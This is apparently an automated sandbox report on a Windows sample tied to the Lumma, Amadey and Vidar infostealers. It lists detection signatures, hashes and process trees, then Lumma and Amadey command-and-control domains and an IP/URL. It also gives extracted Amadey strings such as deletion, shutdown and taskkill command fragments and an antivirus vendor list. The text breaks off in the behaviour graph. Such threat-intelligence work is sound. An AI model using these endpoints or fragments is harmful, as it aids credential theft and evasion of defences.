File name:

random.exe

Full analysis: https://app.any.run/tasks/84323dd7-d4b8-408c-ba5d-58cd3b4e5d60
Verdict: Malicious activity
Threats:

Amadey is a formidable Windows infostealer threat, characterized by its persistence mechanisms, modular design, and ability to execute various malicious tasks.

Malware Trends Tracker     >>>
Analysis date: May 17, 2025, 07:25:23
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
lumma
stealer
themida
loader
amadey
botnet
telegram
vidar
gcleaner
rdp
auto-sch
credentialflusher
auto
generic
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386, for MS Windows, 7 sections
MD5:

652A93C98869279A911EEE1C960ED7CD

SHA1:

42E566AAAE6CF3A410FA00DEC87A3857DED8333E

SHA256:

30FC2960F2F2D22A93D2EEA95401B32F71D1E067E05D08FAAA564AAFE7510385

SSDEEP:

98304:IlgxjxK8lMK3LP1Y0g/QrMy1JdSKHOmLYLGDVrH4oQCj4UjRUhNM9SmCM3/tAPFE:

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • LUMMA mutex has been found

      • random.exe (PID: 7328)
      • MSBuild.exe (PID: 5164)
      • MSBuild.exe (PID: 5864)

    • LUMMA has been detected (SURICATA)

      • random.exe (PID: 7328)
      • svchost.exe (PID: 2196)
      • MSBuild.exe (PID: 5164)
      • MSBuild.exe (PID: 5864)
      • 06d8593d69.exe (PID: 7408)

    • Connects to the CnC server

      • svchost.exe (PID: 2196)
      • ramez.exe (PID: 5216)

    • LUMMA has been detected (YARA)

      • random.exe (PID: 7328)
      • MSBuild.exe (PID: 5864)
      • MSBuild.exe (PID: 5164)

    • AMADEY mutex has been found

      • FFGPLYTATCEMBNES278OECJB.exe (PID: 7972)
      • ramez.exe (PID: 5216)
      • ramez.exe (PID: 6272)

    • AMADEY has been detected (SURICATA)

      • ramez.exe (PID: 5216)

    • Executing a file with an untrusted certificate

      • BhEXzVm.exe (PID: 4988)
      • BhEXzVm.exe (PID: 5956)
      • vQpOH7o.exe (PID: 7492)
      • vQpOH7o.exe (PID: 4000)
      • dd616911ac.exe (PID: 2332)

    • AMADEY has been detected (YARA)

      • ramez.exe (PID: 5216)

    • Steals credentials from Web Browsers

      • MSBuild.exe (PID: 5164)
      • MSBuild.exe (PID: 5864)
      • random.exe (PID: 7328)

    • Actions looks like stealing of personal data

      • MSBuild.exe (PID: 5164)
      • MSBuild.exe (PID: 5864)
      • random.exe (PID: 7328)

    • Adds path to the Windows Defender exclusion list

      • cmd.exe (PID: 8048)
      • NSudoLG.exe (PID: 728)

    • Changes Windows Defender settings

      • NSudoLG.exe (PID: 728)

    • VIDAR mutex has been found

      • MSBuild.exe (PID: 7268)

    • Starts SC.EXE for service management

      • cmd.exe (PID: 8048)
      • cmd.exe (PID: 8700)

    • GCLEANER has been detected (SURICATA)

      • cvtres.exe (PID: 1132)

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 672)

    • Possible tool for stealing has been detected

      • 085ed3a5b2.exe (PID: 9828)
      • firefox.exe (PID: 9904)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 8468)
      • powershell.exe (PID: 10468)

    • Request from PowerShell that ran from MSHTA.EXE

      • powershell.exe (PID: 8468)
      • powershell.exe (PID: 10468)

    • GENERIC has been found (auto)

      • cvtres.exe (PID: 1132)

  • SUSPICIOUS

    • Contacting a server suspected of hosting an CnC

      • random.exe (PID: 7328)
      • svchost.exe (PID: 2196)
      • ramez.exe (PID: 5216)
      • MSBuild.exe (PID: 5164)
      • MSBuild.exe (PID: 5864)
      • 06d8593d69.exe (PID: 7408)

    • Reads the BIOS version

      • random.exe (PID: 7328)
      • FFGPLYTATCEMBNES278OECJB.exe (PID: 7972)
      • ramez.exe (PID: 5216)
      • ramez.exe (PID: 6272)

    • Process requests binary or script from the Internet

      • random.exe (PID: 7328)
      • ramez.exe (PID: 5216)
      • powershell.exe (PID: 8468)
      • powershell.exe (PID: 10468)

    • Executable content was dropped or overwritten

      • random.exe (PID: 7328)
      • FFGPLYTATCEMBNES278OECJB.exe (PID: 7972)
      • ramez.exe (PID: 5216)
      • dbde144ea3.exe (PID: 7832)
      • 7z.exe (PID: 6808)
      • Unlocker.exe (PID: 736)
      • 1777286cff.exe (PID: 5324)
      • 1777286cff.tmp (PID: 6300)
      • cmd.exe (PID: 8048)
      • csc.exe (PID: 8540)
      • 7z.exe (PID: 7516)
      • csc.exe (PID: 9088)
      • csc.exe (PID: 8156)
      • csc.exe (PID: 11304)
      • 06d8593d69.exe (PID: 7408)
      • csc.exe (PID: 11756)
      • csc.exe (PID: 3828)
      • powershell.exe (PID: 10468)
      • csc.exe (PID: 10996)
      • csc.exe (PID: 11924)
      • csc.exe (PID: 11388)
      • csc.exe (PID: 7400)
      • cvtres.exe (PID: 1132)

    • Searches for installed software

      • random.exe (PID: 7328)
      • MSBuild.exe (PID: 5164)
      • MSBuild.exe (PID: 5864)

    • Reads security settings of Internet Explorer

      • FFGPLYTATCEMBNES278OECJB.exe (PID: 7972)
      • ramez.exe (PID: 5216)
      • dbde144ea3.exe (PID: 7832)
      • nircmd.exe (PID: 5384)
      • Unlocker.exe (PID: 7912)
      • Unlocker.exe (PID: 736)
      • 1777286cff.tmp (PID: 6300)
      • MSBuild.exe (PID: 7268)

    • Starts itself from another location

      • FFGPLYTATCEMBNES278OECJB.exe (PID: 7972)

    • Connects to the server without a host name

      • ramez.exe (PID: 5216)
      • random.exe (PID: 7328)
      • cvtres.exe (PID: 1132)
      • powershell.exe (PID: 10468)
      • powershell.exe (PID: 8468)

    • Process drops legitimate windows executable

      • ramez.exe (PID: 5216)
      • cmd.exe (PID: 8048)

    • Starts a Microsoft application from unusual location

      • BhEXzVm.exe (PID: 5956)
      • BhEXzVm.exe (PID: 4988)

    • Potential Corporate Privacy Violation

      • ramez.exe (PID: 5216)
      • random.exe (PID: 7328)
      • powershell.exe (PID: 10468)
      • powershell.exe (PID: 8468)
      • 06d8593d69.exe (PID: 7408)
      • cvtres.exe (PID: 1132)

    • There is functionality for enable RDP (YARA)

      • ramez.exe (PID: 5216)

    • The process executes via Task Scheduler

      • ramez.exe (PID: 6272)
      • ramez.exe (PID: 11184)

    • There is functionality for taking screenshot (YARA)

      • MSBuild.exe (PID: 5164)
      • MSBuild.exe (PID: 5864)

    • The process creates files with name similar to system file names

      • dbde144ea3.exe (PID: 7832)

    • Starts CMD.EXE for commands execution

      • dbde144ea3.exe (PID: 7832)
      • cmd.exe (PID: 7860)
      • nircmd.exe (PID: 5384)
      • cmd.exe (PID: 1568)
      • NSudoLG.exe (PID: 7480)
      • cmd.exe (PID: 6632)
      • cmd.exe (PID: 8048)
      • Unlocker.exe (PID: 7912)
      • Unlocker.exe (PID: 736)
      • Unlocker.exe (PID: 1072)
      • cmd.exe (PID: 8776)
      • 21534b5f67.exe (PID: 8736)
      • nircmd.exe (PID: 8956)
      • cmd.exe (PID: 9048)
      • NSudoLG.exe (PID: 4056)
      • cmd.exe (PID: 8608)
      • cmd.exe (PID: 8700)
      • Unlocker.exe (PID: 8564)
      • Unlocker.exe (PID: 9368)
      • e72ecd715b.exe (PID: 10108)

    • Executing commands from a ".bat" file

      • dbde144ea3.exe (PID: 7832)
      • cmd.exe (PID: 7860)
      • nircmd.exe (PID: 5384)
      • cmd.exe (PID: 1568)
      • NSudoLG.exe (PID: 7480)
      • cmd.exe (PID: 6632)
      • 21534b5f67.exe (PID: 8736)
      • cmd.exe (PID: 8776)
      • nircmd.exe (PID: 8956)
      • cmd.exe (PID: 9048)
      • NSudoLG.exe (PID: 4056)
      • cmd.exe (PID: 8608)

    • Application launched itself

      • cmd.exe (PID: 7860)
      • cmd.exe (PID: 1568)
      • cmd.exe (PID: 6632)
      • cmd.exe (PID: 8048)
      • cmd.exe (PID: 8776)
      • cmd.exe (PID: 9048)
      • cmd.exe (PID: 8608)
      • cmd.exe (PID: 8700)

    • Drops 7-zip archiver for unpacking

      • dbde144ea3.exe (PID: 7832)

    • Reads the date of Windows installation

      • nircmd.exe (PID: 5384)
      • Unlocker.exe (PID: 7912)
      • Unlocker.exe (PID: 736)

    • Starts application with an unusual extension

      • cmd.exe (PID: 5776)
      • cmd.exe (PID: 736)
      • cmd.exe (PID: 8048)
      • cmd.exe (PID: 8840)
      • cmd.exe (PID: 8700)
      • cmd.exe (PID: 9116)

    • The executable file from the user directory is run by the CMD process

      • nircmd.exe (PID: 5384)
      • NSudoLG.exe (PID: 7480)
      • NSudoLG.exe (PID: 728)
      • Unlocker.exe (PID: 7912)
      • 7z.exe (PID: 6808)
      • Unlocker.exe (PID: 736)
      • Unlocker.exe (PID: 1072)
      • nircmd.exe (PID: 8956)
      • NSudoLG.exe (PID: 4056)
      • 7z.exe (PID: 7516)
      • Unlocker.exe (PID: 8564)
      • Unlocker.exe (PID: 9368)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 736)
      • cmd.exe (PID: 8048)
      • cmd.exe (PID: 9116)
      • cmd.exe (PID: 8700)

    • Get information on the list of running processes

      • cmd.exe (PID: 8048)
      • cmd.exe (PID: 2644)
      • cmd.exe (PID: 8700)
      • cmd.exe (PID: 8856)

    • Script adds exclusion path to Windows Defender

      • NSudoLG.exe (PID: 728)

    • Starts POWERSHELL.EXE for commands execution

      • NSudoLG.exe (PID: 728)
      • MSBuild.exe (PID: 7268)
      • mshta.exe (PID: 8448)
      • mshta.exe (PID: 8408)

    • Using 'findstr.exe' to search for text patterns in files and output

      • cmd.exe (PID: 8048)
      • cmd.exe (PID: 8700)

    • PowerShell delay command usage (probably sleep evasion)

      • powershell.exe (PID: 6584)

    • Starts SC.EXE for service management

      • cmd.exe (PID: 2240)
      • cmd.exe (PID: 8048)
      • cmd.exe (PID: 8076)
      • cmd.exe (PID: 5512)
      • cmd.exe (PID: 7316)
      • cmd.exe (PID: 9064)
      • cmd.exe (PID: 8700)
      • cmd.exe (PID: 9560)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 6576)
      • cmd.exe (PID: 5728)
      • cmd.exe (PID: 5576)
      • cmd.exe (PID: 9244)
      • cmd.exe (PID: 9760)
      • 085ed3a5b2.exe (PID: 9828)

    • Windows service management via SC.EXE

      • sc.exe (PID: 6752)
      • sc.exe (PID: 7444)
      • sc.exe (PID: 7392)
      • sc.exe (PID: 7996)
      • sc.exe (PID: 1276)
      • sc.exe (PID: 5008)
      • sc.exe (PID: 7360)
      • sc.exe (PID: 2420)
      • sc.exe (PID: 2984)
      • sc.exe (PID: 7908)
      • sc.exe (PID: 856)
      • sc.exe (PID: 7912)
      • sc.exe (PID: 7436)
      • sc.exe (PID: 2440)
      • sc.exe (PID: 2236)
      • sc.exe (PID: 3848)
      • sc.exe (PID: 2404)
      • sc.exe (PID: 7692)
      • sc.exe (PID: 7820)
      • sc.exe (PID: 7628)
      • sc.exe (PID: 1676)
      • sc.exe (PID: 5736)
      • sc.exe (PID: 5304)
      • sc.exe (PID: 7444)
      • sc.exe (PID: 7992)
      • sc.exe (PID: 8188)
      • sc.exe (PID: 7976)
      • sc.exe (PID: 1672)
      • sc.exe (PID: 5960)
      • sc.exe (PID: 7476)
      • sc.exe (PID: 2088)
      • sc.exe (PID: 3676)
      • sc.exe (PID: 720)
      • sc.exe (PID: 1852)
      • sc.exe (PID: 6872)
      • sc.exe (PID: 8028)
      • sc.exe (PID: 6632)
      • sc.exe (PID: 3100)
      • sc.exe (PID: 924)
      • sc.exe (PID: 7920)
      • sc.exe (PID: 7904)
      • sc.exe (PID: 3760)
      • sc.exe (PID: 9340)
      • sc.exe (PID: 9420)
      • sc.exe (PID: 9504)
      • sc.exe (PID: 9460)
      • sc.exe (PID: 9380)
      • sc.exe (PID: 9664)
      • sc.exe (PID: 9624)
      • sc.exe (PID: 9704)
      • sc.exe (PID: 9748)
      • sc.exe (PID: 9788)
      • sc.exe (PID: 9912)
      • sc.exe (PID: 9872)
      • sc.exe (PID: 9952)
      • sc.exe (PID: 9544)
      • sc.exe (PID: 9584)
      • sc.exe (PID: 9832)
      • sc.exe (PID: 10036)
      • sc.exe (PID: 10116)
      • sc.exe (PID: 10200)
      • sc.exe (PID: 10160)
      • sc.exe (PID: 9232)
      • sc.exe (PID: 8196)
      • sc.exe (PID: 9036)
      • sc.exe (PID: 9328)
      • sc.exe (PID: 8400)
      • sc.exe (PID: 9996)
      • sc.exe (PID: 10076)
      • sc.exe (PID: 9476)
      • sc.exe (PID: 9536)
      • sc.exe (PID: 9592)
      • sc.exe (PID: 9672)
      • sc.exe (PID: 9336)
      • sc.exe (PID: 9384)
      • sc.exe (PID: 8236)
      • sc.exe (PID: 9236)

    • Drops a system driver (possible attempt to evade defenses)

      • Unlocker.exe (PID: 736)

    • Reads the Windows owner or organization settings

      • 1777286cff.tmp (PID: 6300)

    • Creates or modifies Windows services

      • Unlocker.exe (PID: 736)

    • Stops a currently running service

      • sc.exe (PID: 920)
      • sc.exe (PID: 3008)
      • sc.exe (PID: 6676)
      • sc.exe (PID: 6972)
      • sc.exe (PID: 7468)
      • sc.exe (PID: 2664)
      • sc.exe (PID: 7812)
      • sc.exe (PID: 5756)
      • sc.exe (PID: 2804)
      • sc.exe (PID: 8144)
      • sc.exe (PID: 6108)
      • sc.exe (PID: 5072)
      • sc.exe (PID: 960)
      • sc.exe (PID: 7284)
      • sc.exe (PID: 664)
      • sc.exe (PID: 6192)
      • sc.exe (PID: 6068)
      • sc.exe (PID: 9440)
      • sc.exe (PID: 9524)
      • sc.exe (PID: 9360)
      • sc.exe (PID: 9604)
      • sc.exe (PID: 9932)
      • sc.exe (PID: 9768)
      • sc.exe (PID: 9852)
      • sc.exe (PID: 9684)
      • sc.exe (PID: 10096)
      • sc.exe (PID: 9180)
      • sc.exe (PID: 10180)
      • sc.exe (PID: 8872)
      • sc.exe (PID: 10016)
      • sc.exe (PID: 9580)
      • sc.exe (PID: 9332)
      • sc.exe (PID: 9432)

    • Executes application which crashes

      • core.exe (PID: 1180)

    • Process communicates with Telegram (possibly using it as an attacker's C2 server)

      • MSBuild.exe (PID: 7268)
      • MSBuild.exe (PID: 7856)

    • Deletes scheduled task without confirmation

      • schtasks.exe (PID: 6512)
      • schtasks.exe (PID: 7932)
      • schtasks.exe (PID: 7968)
      • schtasks.exe (PID: 7356)
      • schtasks.exe (PID: 6576)
      • schtasks.exe (PID: 9776)
      • schtasks.exe (PID: 9680)
      • schtasks.exe (PID: 9736)
      • schtasks.exe (PID: 9720)
      • schtasks.exe (PID: 9816)

    • Base64-obfuscated command line is found

      • MSBuild.exe (PID: 7268)

    • BASE64 encoded PowerShell command has been detected

      • MSBuild.exe (PID: 7268)

    • The process hide an interactive prompt from the user

      • MSBuild.exe (PID: 7268)

    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 8540)
      • csc.exe (PID: 8156)
      • csc.exe (PID: 9088)
      • csc.exe (PID: 11304)
      • csc.exe (PID: 3828)
      • csc.exe (PID: 11756)
      • csc.exe (PID: 10996)
      • csc.exe (PID: 11924)
      • csc.exe (PID: 11388)
      • csc.exe (PID: 7400)

    • The process bypasses the loading of PowerShell profile settings

      • MSBuild.exe (PID: 7268)

    • Starts process via Powershell

      • powershell.exe (PID: 10468)
      • powershell.exe (PID: 8468)

    • Probably download files using WebClient

      • mshta.exe (PID: 8408)
      • mshta.exe (PID: 8448)

    • Found IP address in command line

      • powershell.exe (PID: 10468)
      • powershell.exe (PID: 8468)

    • Uses TASKKILL.EXE to kill Browsers

      • 085ed3a5b2.exe (PID: 9828)

    • Manipulates environment variables

      • powershell.exe (PID: 8468)
      • powershell.exe (PID: 10468)

  • INFO

    • Reads the computer name

      • random.exe (PID: 7328)
      • FFGPLYTATCEMBNES278OECJB.exe (PID: 7972)
      • ramez.exe (PID: 5216)
      • MSBuild.exe (PID: 5164)
      • MSBuild.exe (PID: 5864)
      • dbde144ea3.exe (PID: 7832)
      • nircmd.exe (PID: 5384)
      • NSudoLG.exe (PID: 7480)
      • NSudoLG.exe (PID: 728)
      • 7z.exe (PID: 6808)
      • Unlocker.exe (PID: 736)
      • Unlocker.exe (PID: 7912)
      • IObitUnlocker.exe (PID: 2384)
      • 1777286cff.tmp (PID: 6300)
      • dd616911ac.exe (PID: 2332)
      • MSBuild.exe (PID: 7268)
      • IObitUnlocker.exe (PID: 6252)

    • Checks supported languages

      • random.exe (PID: 7328)
      • FFGPLYTATCEMBNES278OECJB.exe (PID: 7972)
      • ramez.exe (PID: 5216)
      • BhEXzVm.exe (PID: 5956)
      • BhEXzVm.exe (PID: 4988)
      • MSBuild.exe (PID: 5164)
      • MSBuild.exe (PID: 5864)
      • ramez.exe (PID: 6272)
      • vQpOH7o.exe (PID: 7492)
      • vQpOH7o.exe (PID: 4000)
      • dbde144ea3.exe (PID: 7832)
      • nircmd.exe (PID: 5384)
      • chcp.com (PID: 7928)
      • chcp.com (PID: 7404)
      • mode.com (PID: 6620)
      • NSudoLG.exe (PID: 7480)
      • chcp.com (PID: 7976)
      • 7z.exe (PID: 6808)
      • NSudoLG.exe (PID: 728)
      • dd616911ac.exe (PID: 2332)
      • Unlocker.exe (PID: 736)
      • Unlocker.exe (PID: 7912)
      • IObitUnlocker.exe (PID: 2384)
      • 1777286cff.exe (PID: 5324)
      • 1777286cff.tmp (PID: 6300)
      • info.exe (PID: 1512)
      • IObitUnlocker.exe (PID: 6252)
      • 0414f6343a.exe (PID: 7744)
      • MSBuild.exe (PID: 7268)
      • core.exe (PID: 1180)
      • cvtres.exe (PID: 1132)

    • Reads the software policy settings

      • random.exe (PID: 7328)
      • MSBuild.exe (PID: 5164)
      • MSBuild.exe (PID: 5864)
      • MSBuild.exe (PID: 7268)

    • Create files in a temporary directory

      • random.exe (PID: 7328)
      • FFGPLYTATCEMBNES278OECJB.exe (PID: 7972)
      • ramez.exe (PID: 5216)
      • dbde144ea3.exe (PID: 7832)
      • 7z.exe (PID: 6808)
      • 1777286cff.exe (PID: 5324)
      • 1777286cff.tmp (PID: 6300)

    • Process checks computer location settings

      • FFGPLYTATCEMBNES278OECJB.exe (PID: 7972)
      • ramez.exe (PID: 5216)
      • dbde144ea3.exe (PID: 7832)
      • nircmd.exe (PID: 5384)
      • 1777286cff.tmp (PID: 6300)

    • Creates files or folders in the user directory

      • ramez.exe (PID: 5216)
      • 1777286cff.tmp (PID: 6300)
      • WerFault.exe (PID: 3332)
      • MSBuild.exe (PID: 7268)

    • The sample compiled with english language support

      • ramez.exe (PID: 5216)
      • dbde144ea3.exe (PID: 7832)
      • Unlocker.exe (PID: 736)
      • cmd.exe (PID: 8048)

    • Checks proxy server information

      • ramez.exe (PID: 5216)
      • MSBuild.exe (PID: 7268)

    • Themida protector has been detected

      • ramez.exe (PID: 5216)
      • random.exe (PID: 7328)

    • Changes the display of characters in the console

      • cmd.exe (PID: 5776)
      • cmd.exe (PID: 736)
      • cmd.exe (PID: 8048)
      • cmd.exe (PID: 8840)
      • cmd.exe (PID: 9116)
      • cmd.exe (PID: 8700)

    • NirSoft software is detected

      • nircmd.exe (PID: 5384)
      • nircmd.exe (PID: 8956)

    • Starts MODE.COM to configure console settings

      • mode.com (PID: 6620)
      • mode.com (PID: 8716)

    • Checks operating system version

      • cmd.exe (PID: 8048)
      • cmd.exe (PID: 8700)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 6584)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 6584)

    • Reads the machine GUID from the registry

      • Unlocker.exe (PID: 736)
      • Unlocker.exe (PID: 7912)
      • dd616911ac.exe (PID: 2332)
      • MSBuild.exe (PID: 7268)

    • Creates a software uninstall entry

      • 1777286cff.tmp (PID: 6300)

    • Creates files in the program directory

      • MSBuild.exe (PID: 7268)

    • Manual execution by a user

      • cvtres.exe (PID: 1132)
      • mshta.exe (PID: 8448)

    • Application launched itself

      • chrome.exe (PID: 2444)
      • chrome.exe (PID: 8604)
      • chrome.exe (PID: 10008)
      • firefox.exe (PID: 9904)
      • firefox.exe (PID: 10396)
      • chrome.exe (PID: 10656)
      • chrome.exe (PID: 9860)
      • chrome.exe (PID: 12012)
      • chrome.exe (PID: 3992)
      • chrome.exe (PID: 5112)
      • chrome.exe (PID: 540)
      • chrome.exe (PID: 11000)

    • Auto-launch of the file from Task Scheduler

      • cmd.exe (PID: 672)

    • The executable file from the user directory is run by the Powershell process

      • TempBKRCYUTOERMAXS1KB10URKT6ILIPFUZA.EXE (PID: 11996)
      • TempBKRCYUTOERMAXS1KB10URKT6ILIPFUZA.EXE (PID: 12248)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Lumma

(PID) Process(7328) random.exe
C2 (9)onehunqpom.life/zpxd
narrathfpt.top/tekq
featurlyin.top/pdal
overcovtcg.top/juhd
laminaflbx.shop/twoq
cornerdurv.top/adwq
posseswsnc.top/akds
jackthyfuc.run/xpas
blackswmxc.top/bgry
(PID) Process(5164) MSBuild.exe
C2 (8)overcovtcg.top/juhd
ninepicchf.bet/lznd
zmedtipp.live/mnvzx
voznessxyy.life/bnaz
blackljjwc.run/banj
interpwthc.digital/juab
blackswmxc.top/bgry
clatteqrpq.digital/kljz
(PID) Process(5864) MSBuild.exe
C2 (8)overcovtcg.top/juhd
ninepicchf.bet/lznd
zmedtipp.live/mnvzx
voznessxyy.life/bnaz
blackljjwc.run/banj
interpwthc.digital/juab
blackswmxc.top/bgry
clatteqrpq.digital/kljz

Amadey

(PID) Process(5216) ramez.exe
C2185.156.72.96
URLhttp://185.156.72.96/te4h2nus/index.php
Version5.34
Options
Drop directoryd610cf342e
Drop nameramez.exe
Strings (125)lv:
msi
Kaspersky Lab
av:
|
#
"
\App
00000422
dm:
Powershell.exe
ProgramData\
ps1
rundll32
http://
Content-Disposition: form-data; name="data"; filename="
SOFTWARE\Microsoft\Windows NT\CurrentVersion
dll
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
id:
VideoID
cred.dll|clip.dll|
0000043f
cmd
00000423
SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
-executionpolicy remotesigned -File "
2022
------
2016
og:
\0000
CurrentBuild
2019
:::
S-%lu-
" && timeout 1 && del
ProductName
Panda Security
ESET
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
/k
+++
?scr=1
Doctor Web
GET
SYSTEM\ControlSet001\Services\BasicDisplay\Video
/quiet
.jpg
d610cf342e
vs:
sd:
rundll32.exe
"taskkill /f /im "
pc:
random
=
360TotalSecurity
<d>
wb
Content-Type: multipart/form-data; boundary=----
Startup
Norton
&& Exit"
os:
https://
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
2025
Avira
%-lu
zip
POST
" Content-Type: application/octet-stream
Rem
/te4h2nus/index.php
------
5.34
<c>
clip.dll
AVAST Software
\
shell32.dll
" && ren
e3
ramez.exe
kernel32.dll
DefaultSettings.XResolution
d1
DefaultSettings.YResolution
185.156.72.96
r=
cred.dll
--
GetNativeSystemInfo
-%lu
ComputerName
&unit=
Keyboard Layout\Preload
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
ar:
Sophos
%USERPROFILE%
exe
e1
e2
st=s
Programs
0123456789
un:
rb
bi:
abcdefghijklmnopqrstuvwxyz0123456789-_
SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
cmd /C RMDIR /s/q
Bitdefender
-unicode-
AVG
WinDefender
&&
shutdown -s -t 0
Comodo
00000419
Content-Type: application/x-www-form-urlencoded
/Plugins/
Main
No Malware configuration.

TRiD

.exe | Generic Win/DOS Executable (50)
.exe | DOS Executable Generic (49.9)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2025:05:15 15:45:51+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 14
CodeSize: 322560
InitializedDataSize: 38400
UninitializedDataSize: -
EntryPoint: 0x4bc000
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
672
Monitored processes
530
Malicious processes
39
Suspicious processes
11

Behavior graph

Click at the process to see the details
start #LUMMA random.exe #LUMMA svchost.exe sppextcomobj.exe no specs slui.exe ffgplytatcembnes278oecjb.exe #AMADEY ramez.exe bhexzvm.exe no specs #LUMMA msbuild.exe bhexzvm.exe no specs msbuild.exe no specs #LUMMA msbuild.exe ramez.exe no specs vqpoh7o.exe no specs vqpoh7o.exe no specs dbde144ea3.exe cmd.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs chcp.com no specs reg.exe no specs nircmd.exe no specs cmd.exe conhost.exe no specs cmd.exe no specs conhost.exe no specs chcp.com no specs reg.exe no specs reg.exe no specs nsudolg.exe no specs cmd.exe conhost.exe no specs cmd.exe conhost.exe no specs chcp.com no specs reg.exe no specs reg.exe no specs mode.com no specs cmd.exe no specs reg.exe no specs find.exe no specs cmd.exe no specs tasklist.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs find.exe no specs nsudolg.exe no specs powershell.exe no specs conhost.exe no specs dd616911ac.exe no specs reg.exe no specs find.exe no specs cmd.exe no specs findstr.exe no specs 7z.exe unlocker.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs cmd.exe no specs conhost.exe no specs taskkill.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs sc.exe no specs find.exe no specs sc.exe no specs sc.exe no specs unlocker.exe cmd.exe no specs conhost.exe no specs sc.exe no specs iobitunlocker.exe no specs 1777286cff.exe 1777286cff.tmp info.exe conhost.exe no specs core.exe iobitunlocker.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs sc.exe no specs cmd.exe no specs conhost.exe no specs taskkill.exe no specs #VIDAR msbuild.exe 0414f6343a.exe no specs conhost.exe no specs werfault.exe no specs #GCLEANER cvtres.exe msbuild.exe no specs msbuild.exe sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs unlocker.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs cmd.exe no specs conhost.exe no specs taskkill.exe no specs sc.exe no specs sc.exe no specs #LUMMA 06d8593d69.exe chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs csc.exe chrome.exe no specs chrome.exe no specs cvtres.exe no specs 21534b5f67.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs chcp.com no specs reg.exe no specs nircmd.exe no specs cmd.exe conhost.exe no specs cmd.exe no specs conhost.exe no specs chcp.com no specs reg.exe no specs reg.exe no specs nsudolg.exe no specs cmd.exe conhost.exe no specs cmd.exe no specs conhost.exe no specs chcp.com no specs reg.exe no specs reg.exe no specs mode.com no specs cmd.exe no specs reg.exe no specs find.exe no specs cmd.exe no specs tasklist.exe no specs chrome.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs find.exe no specs cmd.exe no specs findstr.exe no specs 7z.exe unlocker.exe no specs slui.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs cmd.exe no specs conhost.exe no specs taskkill.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no 